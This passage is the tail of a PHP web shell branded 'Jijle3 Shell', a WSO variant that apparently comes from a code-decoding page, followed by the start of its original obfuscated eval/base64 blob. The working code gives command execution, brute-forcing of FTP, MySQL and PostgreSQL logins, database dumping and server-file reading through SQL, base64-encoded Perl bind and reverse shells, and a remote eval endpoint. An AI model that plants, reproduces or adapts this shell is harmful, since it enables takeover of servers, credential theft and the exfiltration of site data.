    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; 
    if(!empty($_POST['p1'])) { 
        echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1'])); 
    } 
    echo '</textarea><table  cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; 
    echo '</form></div><script>d.cf.cmd.focus();</script>'; 
    wsoFooter(); 
} 

function actionLogout() { 
    session_destroy(); 
    die('bye!'); 
} 

function actionSelfRemove() { 

    if($_POST['p1'] == 'yes') 
        if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) 
            die('Salam Alaykoum ! See You Soon &hearts;'); 
        else 
            echo 'unlink error!'; 
    if($_POST['p1'] != 'yes') 
        wsoHeader(); 
    echo '<h1>Suicide</h1><div class=content>Do You Want To Delete Jijle3 Shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes Please</a></div>'; 
    wsoFooter(); 
} 

function actionBruteforce() { 
    wsoHeader(); 
    if( isset($_POST['proto']) ) { 
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; 
        if( $_POST['proto'] == 'ftp' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $fp = @ftp_connect($ip, $port?$port:21); 
                if(!$fp) return false; 
                $res = @ftp_login($fp, $login, $pass); 
                @ftp_close($fp); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'mysql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); 
                @mysql_close($res); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'pgsql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; 
                $res = @pg_connect($str); 
                @pg_close($res); 
                return $res; 
            } 
        } 
        $success = 0; 
        $attempts = 0; 
        $server = explode(":", $_POST['server']); 
        if($_POST['type'] == 1) { 
            $temp = @file('/etc/passwd'); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = explode(":", $line); 
                    ++$attempts; 
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; 
                    } 
                    if(@$_POST['reverse']) { 
                        $tmp = ""; 
                        for($i=strlen($line[0])-1; $i>=0; --$i) 
                            $tmp .= $line[0][$i]; 
                        ++$attempts; 
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { 
                            $success++; 
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); 
                        } 
                    } 
                } 
        } elseif($_POST['type'] == 2) { 
            $temp = @file($_POST['dict']); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = trim($line); 
                    ++$attempts; 
                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; 
                    } 
                } 
        } 
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; 
    } 
    echo '<center><h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' 
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' 
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' 
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' 
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' 
        .'<span>Server:port</span></td>' 
        .'<td><input type=text name=server value="127.0.0.1"></td></tr>' 
        .'<tr><td><span>Brute type</span></td>' 
        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' 
        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' 
        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' 
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' 
        .'<td><input type=text name=login value="root"></td></tr>' 
        .'<tr><td><span>Dictionary</span></td>' 
        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' 
        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; 
    echo '</div><br>'; 
    wsoFooter(); 
} 

function actionSql() { 
    class DbClass { 
        var $type; 
        var $link; 
        var $res; 
        function DbClass($type)    { 
            $this->type = $type; 
        } 
        function connect($host, $user, $pass, $dbname){ 
            switch($this->type)    { 
                case 'mysql': 
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; 
                    break; 
                case 'pgsql': 
                    $host = explode(':', $host); 
                    if(!$host[1]) $host[1]=5432; 
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; 
                    break; 
            } 
            return false; 
        } 
        function selectdb($db) { 
            switch($this->type)    { 
                case 'mysql': 
                    if (@mysql_select_db($db))return true; 
                    break; 
            } 
            return false; 
        } 
        function query($str) { 
            switch($this->type) { 
                case 'mysql': 
                    return $this->res = @mysql_query($str); 
                    break; 
                case 'pgsql': 
                    return $this->res = @pg_query($this->link,$str); 
                    break; 
            } 
            return false; 
        } 
        function fetch() { 
            $res = func_num_args()?func_get_arg(0):$this->res; 
            switch($this->type)    { 
                case 'mysql': 
                    return @mysql_fetch_assoc($res); 
                    break; 
                case 'pgsql': 
                    return @pg_fetch_assoc($res); 
                    break; 
            } 
            return false; 
        } 
        function listDbs() { 
            switch($this->type)    { 
                case 'mysql': 
                        return $this->query("SHOW databases"); 
                break; 
                case 'pgsql': 
                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); 
                break; 
            } 
            return false; 
        } 
        function listTables() { 
            switch($this->type)    { 
                case 'mysql': 
                    return $this->res = $this->query('SHOW TABLES'); 
                break; 
                case 'pgsql': 
                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); 
                break; 
            } 
            return false; 
        } 
        function error() { 
            switch($this->type)    { 
                case 'mysql': 
                    return @mysql_error(); 
                break; 
                case 'pgsql': 
                    return @pg_last_error(); 
                break; 
            } 
            return false; 
        } 
        function setCharset($str) { 
            switch($this->type)    { 
                case 'mysql': 
                    if(function_exists('mysql_set_charset')) 
                        return @mysql_set_charset($str, $this->link); 
                    else 
                        $this->query('SET CHARSET '.$str); 
                    break; 
                case 'pgsql': 
                    return @pg_set_client_encoding($this->link, $str); 
                    break; 
            } 
            return false; 
        } 
        function loadFile($str) { 
            switch($this->type)    { 
                case 'mysql': 
                    return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); 
                break; 
                case 'pgsql': 
                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); 
                    $r=array(); 
                    while($i=$this->fetch()) 
                        $r[] = $i['file']; 
                    $this->query('drop table wso2'); 
                    return array('file'=>implode("
",$r)); 
                break; 
            } 
            return false; 
        } 
        function dump($table, $fp = false) { 
            switch($this->type)    { 
                case 'mysql': 
                    $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); 
                    $create = mysql_fetch_array($res); 
                    $sql = $create[1].";
"; 
                    if($fp) fwrite($fp, $sql); else echo($sql); 
                    $this->query('SELECT * FROM `'.$table.'`'); 
                    $head = true; 
                    while($item = $this->fetch()) { 
                        $columns = array(); 
                        foreach($item as $k=>$v) { 
                            if($v == null) 
                                $item[$k] = "NULL"; 
                            elseif(is_numeric($v)) 
                                $item[$k] = $v; 
                            else 
                                $item[$k] = "'".@mysql_real_escape_string($v)."'"; 
                            $columns[] = "`".$k."`"; 
                        } 
                        if($head) { 
                            $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')'; 
                            $head = false; 
                        } else 
                            $sql = "
	,(".implode(", ", $item).')'; 
                        if($fp) fwrite($fp, $sql); else echo($sql); 
                    } 
                    if(!$head) 
                        if($fp) fwrite($fp, ";

"); else echo(";

"); 
                break; 
                case 'pgsql': 
                    $this->query('SELECT * FROM '.$table); 
                    while($item = $this->fetch()) { 
                        $columns = array(); 
                        foreach($item as $k=>$v) { 
                            $item[$k] = "'".addslashes($v)."'"; 
                            $columns[] = $k; 
                        } 
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
"; 
                        if($fp) fwrite($fp, $sql); else echo($sql); 
                    } 
                break; 
            } 
            return false; 
        } 
    }; 
    $db = new DbClass($_POST['type']); 
    if(@$_POST['p2']=='download') { 
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); 
        $db->selectdb($_POST['sql_base']); 
        switch($_POST['charset']) { 
            case "Windows-1251": $db->setCharset('cp1251'); break; 
            case "UTF-8": $db->setCharset('utf8'); break; 
            case "KOI8-R": $db->setCharset('koi8r'); break; 
            case "KOI8-U": $db->setCharset('koi8u'); break; 
            case "cp866": $db->setCharset('cp866'); break; 
        } 
        if(empty($_POST['file'])) { 
            ob_start("ob_gzhandler", 4096); 
            header("Content-Disposition: attachment; filename=dump.sql"); 
            header("Content-Type: text/plain"); 
            foreach($_POST['tbl'] as $v) 
                $db->dump($v); 
            exit; 
        } elseif($fp = @fopen($_POST['file'], 'w')) { 
            foreach($_POST['tbl'] as $v) 
                $db->dump($v, $fp); 
            fclose($fp); 
            unset($_POST['p2']); 
        } else 
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); 
    } 
    wsoHeader(); 
    echo " 
<center> 
<h1>Sql browser</h1><div class=content> 
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> 
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> 
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> 
<td><select name='type'><option value='mysql' "; 
    if(@$_POST['type']=='mysql')echo 'selected'; 
echo ">MySql</option><option value='pgsql' "; 
if(@$_POST['type']=='pgsql')echo 'selected'; 
echo ">PostgreSql</option></select></td> 
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td> 
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td> 
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>"; 
    $tmp = "<input type=text name=sql_base value=''>"; 
    if(isset($_POST['sql_host'])){ 
        if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { 
            switch($_POST['charset']) { 
                case "Windows-1251": $db->setCharset('cp1251'); break; 
                case "UTF-8": $db->setCharset('utf8'); break; 
                case "KOI8-R": $db->setCharset('koi8r'); break; 
                case "KOI8-U": $db->setCharset('koi8u'); break; 
                case "cp866": $db->setCharset('cp866'); break; 
            } 
            $db->listDbs(); 
            echo "<select name=sql_base><option value=''></option>"; 
            while($item = $db->fetch()) { 
                list($key, $value) = each($item); 
                echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; 
            } 
            echo '</select>'; 
        } 
        else echo $tmp; 
    }else 
        echo $tmp; 
    echo "</td> 

                <td><input type=submit value='>>' onclick='fs(d.sf);'></td> 
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> 
            </tr> 
        </table> 
        <script> 
            s_db='".@addslashes($_POST['sql_base'])."'; 
            function fs(f) { 
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; 
                    if(f.p1) f.p1.value=''; 
                    if(f.p2) f.p2.value=''; 
                    if(f.p3) f.p3.value=''; 
                } 
            } 
            function st(t,l) { 
                d.sf.p1.value = 'select'; 
                d.sf.p2.value = t; 
                if(l && d.sf.p3) d.sf.p3.value = l; 
                d.sf.submit(); 
            } 
            function is() { 
                for(i=0;i<d.sf.elements['tbl[]'].length;++i) 
                    d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; 
            } 
        </script>"; 
    if(isset($db) && $db->link){ 
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; 
            if(!empty($_POST['sql_base'])){ 
                $db->selectdb($_POST['sql_base']); 
                echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; 
                $tbls_res = $db->listTables(); 
                while($item = $db->fetch($tbls_res)) { 
                    list($key, $value) = each($item); 
                    if(!empty($_POST['sql_count'])) 
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); 
                    $value = htmlspecialchars($value); 
                    echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>"; 
                } 
                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; 
                if(@$_POST['p1'] == 'select') { 
                    $_POST['p1'] = 'query'; 
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; 
                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); 
                    $num = $db->fetch(); 
                    $pages = ceil($num['n'] / 30); 
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; 
                    echo " of $pages"; 
                    if($_POST['p3'] > 1) 
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>"; 
                    if($_POST['p3'] < $pages) 
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>"; 
                    $_POST['p3']--; 
                    if($_POST['type']=='pgsql') 
                        $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); 
                    else 
                        $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; 
                    echo "<br><br>"; 
                } 
                if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { 
                    $db->query(@$_POST['p2']); 
                    if($db->res !== false) { 
                        $title = false; 
                        echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; 
                        $line = 1; 
                        while($item = $db->fetch())    { 
                            if(!$title)    { 
                                echo '<tr>'; 
                                foreach($item as $key => $value) 
                                    echo '<th>'.$key.'</th>'; 
                                reset($item); 
                                $title=true; 
                                echo '</tr><tr>'; 
                                $line = 2; 
                            } 
                            echo '<tr class="l'.$line.'">'; 
                            $line = $line==1?2:1; 
                            foreach($item as $key => $value) { 
                                if($value == null) 
                                    echo '<td><i>null</i></td>'; 
                                else 
                                    echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; 
                            } 
                            echo '</tr>'; 
                        } 
                        echo '</table>'; 
                    } else { 
                        echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; 
                    } 
                } 
                echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; 
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) 
                    echo htmlspecialchars($_POST['p2']); 
                echo "</textarea><br/><input type=submit value='Execute'>"; 
                echo "</td></tr>"; 
            } 
            echo "</table></form><br/>"; 
            if($_POST['type']=='mysql') { 
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); 
                if($db->fetch()) 
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; 
            } 
            if(@$_POST['p1'] == 'loadfile') { 
                $file = $db->loadFile($_POST['p2']); 
                echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; 
            } 
    } else { 
        echo htmlspecialchars($db->error()); 
    } 
    echo '</div>'; 
    wsoFooter(); 
} 
function actionNetwork() { 
    wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQokc3lzdGVtPSAnZWNobyAiYHVuYW1lIC1hYCI7JzsNCiRzeXN0ZW0xPSAnZWNobyAiYGlkYCI7JzsNCiRzeXN0ZW0yPSAnZWNobyAiYHB3ZGAiOyc7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpwcmludCAiWyBKaWpsZTMgU2hlbGwgfCBDb2RlZCBCeSBQaGVub21lbmUgRHogXVxuIjsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuIFsrXSBQaGVub21lbmUgRHogW01hcnR5cnMgQ3Jld10gQmFjay1Db25uZWN0IFsrXVxuIjsNCnByaW50ICJcblsrXSBCaXNtIEFsbGFoIFsrXVxuIjsNCnByaW50ICJcblN5c3RlbSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0pOw0KcHJpbnQgIlxuUGVybWlzc2lvbiA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkRpcmVjdG9yeSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0yKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7==";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo "<h1>Back Connect</h1><div class=content><form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"><span>Bind port to /bin/sh [perl]</span><br/>Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>Back-connect  [perl]</span><br/>Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><br>"; 
if(isset($_POST['p1'])) {function cf($f,$t) {$w = @fopen($f,"w") or @function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1'] == 'bpp') {cf("/tmp/bp.pl",$bind_port_p); 
            $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); 
            sleep(1); 
            echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>"; 
            unlink("/tmp/bp.pl"); 
        } 
        if($_POST['p1'] == 'bcp') { 
            cf("/tmp/bc.pl",$back_connect_p); 
            $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); 
            sleep(1); 
            echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>"; 
            unlink("/tmp/bc.pl"); 
        } 
    } 
    echo '</div>'; 
    wsoFooter(); 
} 
function actionRC() { 
    if(!@$_POST['p1']) { 
        $a = array( 
            "uname" => php_uname(), 
            "php_version" => phpversion(), 
            "wso_version" => WSO_VERSION, 
            "safemode" => @ini_get('safe_mode') 
        ); 
        echo serialize($a); 
    } else { 
        eval($_POST['p1']); 
    } 
} 
if( empty($_POST['a']) ) 
    if(isset($default_action) && function_exists('action' . $default_action)) 
        $_POST['a'] = $default_action; 
    else 
        $_POST['a'] = 'Home'; 
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) 
    call_user_func('action' . $_POST['a']); 
exit; 
?>

Did this file decode correctly?

Original Code

eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TJzHjsNKd4TfxRsb4II5LRnFnDPuhmISc45Pb47vv/AAgjASNRK7z6mqT8Pu4ki7//mvfy4C/+ciifcefm/cPxdCvffk+xjz3tPvTXhvxL/P/R1DYv++5v+OQ/7zGPrvY+h7HPo+j4vv7/85jvh77v/9jlD/fSmo1I4WE7cReDnH97Jlew+uopUsEzZ2O4PiCpDGp5yJG6QYrQtjvyoIgMYvp7cU/YeCZIeCVGaepXUq4ANI6GWRDX1LZQaodCOR1lyWwnGX1ECXNBonDIj2JUiSOY5Suw3i+KfUCn7ojwvzUBoEcKnEUbQEcdC3gBndy9+wevdseMO8Wd26Av1GOquJ48cKIhEZ2KAR6eGYhAyWmXodGzH59Uy80+g8bIQisR0aUS7VGfIBO/tFMoGfVANyPpDdw0eugaZ+uH3SZ2iM7+AP+H4Y04R3y/iFf1WxYpZ4+8bPUIuALhKYTn4T7IY/0utB0CjRG2nBoxB0C7xJkHbAg8rV1mAnCaOJ3tIVox7KRq96uNsyoqSM1D9Iv35SDD3Mr0JP2GVTkdbhAsua1JcQnPCWsJ727XAMONaudgYfalToXAU7gLzYYmGbOcjsO+kAytQWg2om5MSOJTEMyj7j7NrlmMrHtJKK8zi63NNmNd+Cc/THR0RBgVAw+1zbQuxNdqnVKyxJoh/vLrpvqQBHuDfy+JgYd9pPW3RbQjjK8w10XZfLy62fcwY8k3UeNXDFggmze97d62JjomjRkt9VLBxBRcGqyfqA7q1ZpreNzYzDvSRTfkas3oUc46i7lYcuVmaAqj+u8qeagYKo7lx9hstTchfj0zzDAhm7hYwHrbAS9KGCUbf6CVR6pKGhbRmSBMVcRu5OuXjLcLY8DaPPikDi9ag2n1yFh/JiGGBXi2KdZr3+4/kpCzGBPcrIyxTmu3edXlzTeHnMondm4umbYPvJl8ghmCvFEIZF2T5qwunyBWJXqkUuzvMBooS+3PfxM3U115SaeYXR4q++jPvHUFYLEa9+xxYOQ/OEVOYVO0sgcTVY+/UqWHq1SMInkI9X2NwDoDf4NxRMWZuAYz0u+lkOL3auD5J1JB5qe6wdOp2efBFukINs7gqPBVAa0n7CE69NoEA1LJ+vlTiEybmKZ/M02hKg4QPt4FXLeUiRU4vAsnTMHO5bf8XiszZbL+JQWXg/ammlXMmGQqLsKeD+qOpHDdUenj5xUZa1bhAbBGS8ZHD8FCInbVDIwMlPT491HQZAZ9/qecwE2S7S5DqCeeJycx7YYNQ4nt1oE9hMXttFclUxmuC6rAThMXBF946OAi+5gwSVp0Uc3Pzcnw59iCZIubI4r6n9LNEpaVEPDYkUY7lDhFKVpFKS3Ss9s7PFh9cBbsXDdaYMfozn54k0JVSyOcirryTZr0CuVQR+gkTrUIn/OHbW0suKj1HBG4jXV+5hbtG1U/PyIxgUx7u3PqL05YZ4ca2PvZRw/Vb9GSo6tYtwjMwsyRXT9PBz+sUJcfwlyk4CpinpGEv3qZ7Jhc5CEKzSxtyxYVSbia3FNMlWt2x6j5O40kdERHWToYQtMmysQDHw+sPAzIvBbVBKWV66hxjjVyZzOS4rnh2nf6U0KNX3Y3lFFWSe4I7HKSwdEn1zEokkMkNyyp/q5UEBzHY3r48nvEj2wc0ArxkgoLAstvYhO2VFguOxoOYONA7I23CMwxcIEZchNGS4G9vQWgsE+W0I4SS4WmFdixHhjGJDj9HG3VKbD2Tb0eKW901gQCrYwK8Z52qDXTYkX2FjYbi59n0zlMR6yOWLp+xBjBzAKy4vfk3BBO+Qd+osJ7tsmpAfm7O/dPZIwiwimLbKmz7LAXcOb1X1Ci/5T2uUJ2TsfYA7+vghjIC426m8GqfIakSxP7CmgGUfPdPmkb1lTWxdQMMuUZsuiUjYfuTW145842TF97Rsa+X68c3+OX+5VCHg54PfP0LqtpDO8PTjFmXuiFl+2bi/RD8sebLtGUqGv2vDL5fOiLvO5SGxBRIqEaPRVFEcI/HWuzAHgIL+LJuTJ6Df6gq6uEZpMBfqgEKfVdrv0EquJRjWEhfd9acVlpeY9d6e11gIFTij7XUCJv1wkytlvzoizdzsze3Of51RjfXdWDY9erPv+gMweyAl/EQ8W9aTujTHmCw2AIpjpRXlvpW9+8r+PB/7kpLHBoBdnC3U/fFPbRoBu5blQCajppifsPr9bu2alwmpatRPVPlSFc8ZDSXDDdhpy3NMj8L6KV6BrBaoJbZ9ikqSeBi6D3UsVAyix80gulCKBTo1AcpBHh2n5qe3JD7lNt8eqXa+TlIjDR7WWFmvNSs5OjrrzQAteKYTljNtf2mWkGopJCSgOv+cDPjmdIRuqeYRnhctMZSlwNcL8j1uH0FZvwRoiZHjXi2ON8qMkCqPQhSfXvv3my7WQErWxb7dH/96mjd+QTJYPTRnFUeU1hzWakp1a26iK25jbSsDGrwYP9BGkPbHjfwkyliqU2HhyaRDEt/DWB8pTS+Ss9k2S+DKw4GdXNRU+FE62Yh3znQ7MWOQiyWnb733Jj0NkVzAF54kxYAHUTi0DjsJRTvqFKZ+ElfRP0bk68YT5I+/UmVjYaNEShrQ5qMUr4noxrVq3hs4N6C+571mdUDltkft+n0psuwPTaZV+Rk0RSvJ2Py8H/q0nH8FiTorzJxQ1jJuNCrPB8Ojru9oVSAKbQGvP/ujjt90+13r9qMezKQ9Kyo5GQg0XX6048eJgUUTS2ZRMX1Eux1BjFe/Dbs6/u/56JbMqD4nz9O2KmOIwAxoUYcC9hPbztCUsQ9tHPUyhrAa1dYoopyb5eiUHzQNEtFH0rLLr1nIuuDPbGyQ4i5g9iNRMEfQAWo5neGSucLhea0t0h2FnHMJdRF2nkg+XFsGWEeSOOxVSG+94S2gOwB/+GtiA+qecs7i3GArhF0RA5Gnn68ZTTqPdlzXoD36kSM7UdIAjEKBJ8QeWHNOOaRaMmR3E3KeTSP4EUBE3V1WZrsQDELjI3KLPqQ1Zgfmby5/OxsvHC6PuD9NPs+HoqlqGkgB9VzKX4M/4nj+dW0itZ+3dMNKXhTkEWCx+iLKUt/bhhdfXrP8SlUbFdALmXj1EOTRGyvovvXglJ4PkiqJfBtDHLAPBE8bd5QsPTgXBeIY21WDPmPkUD4N3akZYxethyuR6ZI74NrdbVHvZvrQXMGqELTcxvHQjR7kIZ4lWh0EXjB3/FUdGePvnI6fZ7aupe9seRVxqqi2g7qL+5TsFxJzQCl2v5NLg+4MB3zh81HgSebtRjq2V